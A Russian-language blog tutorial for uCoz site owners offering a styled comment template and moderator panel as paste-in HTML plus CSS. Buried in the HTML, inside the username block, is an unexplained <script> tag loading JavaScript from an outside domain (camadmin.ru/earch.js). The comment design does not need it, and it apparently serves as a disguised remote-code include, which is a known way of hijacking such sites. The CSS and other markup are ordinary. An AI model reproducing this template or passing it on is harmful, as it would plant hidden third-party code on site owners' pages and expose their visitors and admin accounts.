Логин:
Пароль:
    Главная » 2013 » Март » 8 » Новый вид комментариев v.1.0 + Модер-панель для uCoz
    16:21
    Новый вид комментариев v.1.0 + Модер-панель для uCoz
    $IMAGE1$
    Здравствуйте дорогие читатели, сегодня хочу вас порадовать новым видом комментариев и модер-панель для uCoz, в этом виде комментария присутствует уголок что делает вид комментариев симпатичней, не стандартная модер-панель + кнопка "Ответить", небольшая кнопочка "Like".

    Шаг 1 - Установим HTML:

    Для начало нам следует удалить старый html код вида комментарий, для этого идём в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев и устанавливаем следующий код:

    Код
    <div class="content-com">  
      <div class="com_p text_r text_9">
      <?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?> <img class="avatar_comment wbr3" src="$USER_AVATAR_URL$" /><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?></a><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?>

      <?if($USER_LOGGED_IN$)?>
      <?if($IS_OWN$)?><?else?>
      <?if($COMMENT_RATING$)?><?else?>
      <a class="kcom_like ts_b wbr3" href="$GOOD_COMMENT_URL$">Like</a>
      <?endif?>
      <?endif?>
      <?endif?>
       
      </div>
      <div class="com_l wbr3">
      <div class="com_v grey">
      <?if($ANSWER_URL$)?><div class="left_block"><a href="$ANSWER_URL$" title="Комментировать"><div class="otvet"></div></a></div><?endif?>
    <?if($USERNAME$)?><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><div class="left_block top cherta-right gren">$USERNAME$</div><?else?><?if($NAME$)?><div class="left_block top cherta-right gren">$NAME$</div><?else?><div class="left_block top cherta-right gren">Гость</div><?endif?><?endif?>
      <div class="left_block top2 text_9">$DATE$ - $TIME$</div>
      <div class="right top2 text_9 grey cherta-left ">Like | <?if($COMMENT_RATING$=0)?>0<?else?><span class="gren">+$COMMENT_RATING$</span><?endif?></div>
      <div class="right top2 text_9 grey cherta-left">№$NUMBER$</div>
      <?if($MODER_PANEL$)?>
      <a title="Удалить" onclick="del_item($ID$);return false;" id="di$ID$">
      <div class="delete-com right"></div>
      </a>
      <a title="Редактировать" onclick="new _uWnd('Ie',' ',-600,-200,{autosize:1,closeonesc:1,resize:0},{url:'/index/37-$ID$'});return false;">
      <div class="edit-com right"></div>
      </a>
      <?endif?>
      </div>
      <div class="com_c text_115">$MESSAGE$ </div>
      <div class="com_n grey text_9">
      <span class="left">
      </span>
      </div>
      </div>
    </div>


    Шаг 2 - Установим CSS:

    Теперь нам надо прописать стили "css" что бы наш вид комментариев отображался коректно и стал симпатичным.

    Код
    /* Вид комментариев v.1  
      ------------------------------------------*/  

    /* Выравнивание */  
      div.left_block {float:left;}  
      div.right_block {float:right;}  

    /* Кнопки комментировать, редактировать, удалить */  
    .otvet {  
      background: url(/img/otvet.png);  
      background-position: -0px -0px;  
      width: 25px;  
      height: 23px;  
      cursor: pointer;  
      border-right:1px solid #cad1db;  
      }  
    .otvet:hover  
      {  
      background: url(/img/otvet.png);  
      background-position: -0px -23px;  
      width: 25px;  
      height: 23px;  
      cursor: pointer;  
      }  

    .edit-com {  
      background: url(/img/moder-panel.png);  
      background-position: -0px -0px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      border-left:1px solid #cad1db;  
      }  
    .edit-com:hover  
      {  
      background: url(/img/moder-panel.png);  
      background-position: -0px -23px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      }  

    .delete-com {  
      background: url(/img/moder-panel.png);  
      background-position: -35px -0px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      border-left:1px solid #cad1db;  
      }  
    .delete-com:hover  
      {  
      background: url(/img/moder-panel.png);  
      background-position: -35px -23px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      }  

    /* Аватар */  
    .avatar_comment {  
      width:50px;  
      height:50px;  
      padding:3px;  
      background:#888888;  
    }  

    /* Закругление углов */  
    .wbr3 {  
      -webkit-border-radius:3px;  
      -moz-border-radius:3px;  
      border-radius:3px;  
    }  

    /* Контент */  
    .content-com {  
      float:left;  
      width:100%;  
      position:relative;  
      margin-bottom:15px  
      }  

    .com_p {  
      top:0;  
      right:0;  
      width:75px;  
      position:absolute;  
      background:url(/img/ugolok.png) no-repeat top left  
    }  

    .com_l {  
      padding:0px 0;  
      background:#fff;  
      border:1px solid #cad1db;  
      margin:0 74px 0 0;  
      overflow:hidden  
    }  

    .com_v {  
      height:23px;  
      border-bottom:1px solid #cad3da  
    }  

    .com_v,.com_n {  
      margin:0 0px 0 0px  
    }  

    .com_c {  
      min-height: 39px;  
      overflow:hidden;  
      margin:5px 15px 7px 15px;  
    }  

    .com_c p {  
      padding:10px;  
      margin:10px 0;  
      background:#ebfce8;  
      overflow:hidden!important;  
      border:1px solid #b4e5ac  
    }  

    /* Like */  
    .kcom_like:link,.kcom_like:visited {  
      text-align:center;  
      color:#fff;  
      float:right;  
      width:47px;  
      background:#999999;  
      margin-top:3px;  
      padding:1px 3px 1px 3px;  
      border:1px solid #666666  
    }  

    .kcom_like:hover {  
      text-decoration: none;  
      border:1px solid #666666!important;  
      color:#375e15!important;  
      text-shadow:1px 1px 1px #d7ffb6!important;  
      background:#9aeb56!important  
    }  

    /* Черта возле кнопок */  
    .cherta-right {  
      height:20px;  
      border-right:1px solid #cad1db;  
    }  

    .cherta-left {  
      height:19px;  
      border-left:1px solid #cad1db;  
    }  

    /* Текст */  
    .text_r {  
      text-align:right;  
    }  

    .text_9 {  
      font:9px Verdana,Arial,Helvetica, sans-serif;  
    }  

    .grey {  
      color:#b1b1b1;  
    }  

    .grey2 {  
      color:#cac8c8;  
    }  

    .gren {color:#429e1e;  
      font-weight:bold;  
    }  

    .right {  
      float:right;  
    }  
    .left {  
      float:left;  
    }  

    .top {  
      padding: 4px 12px 0px 12px;  
    }  

    .top2 {  
      padding: 5px 12px 0px 12px;  
    }  

    .bold {  
      font-weight:bold;  
    }  

    .text_115 {  
      font:115%/1.5 Verdana,Arial,Helvetica, sans-serif;  
    }


    Скачать архив: http://yadi.sk/d/UCCjw3Zv36kUX

    На этом всё, это моя первая и не последня web разработка на center-dm, оценивайте и пользуйтесь, спасибо за внимание.
    Просмотров: 302 | Добавил: budyvmaster | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Nk-CS.Ru лучший игровой портал 2014 года. У нас вы найдете все: Скрипты, Шаблоны, Хаки, Плагины, Сервера и многое другое.
    Nk-CS.Ru лучший игровой портал 2014 года. У нас вы найдете все: Скрипты, Шаблоны, Хаки, Плагины, Сервера и многое другое.

    Администрация не несет ответственности за предоставленные на сайте материалы. Весь архив предоставлен только в ознакомительных целях.

    Любой торрент файл будет удален по требованию правообладателя. Хостинг от uCoz .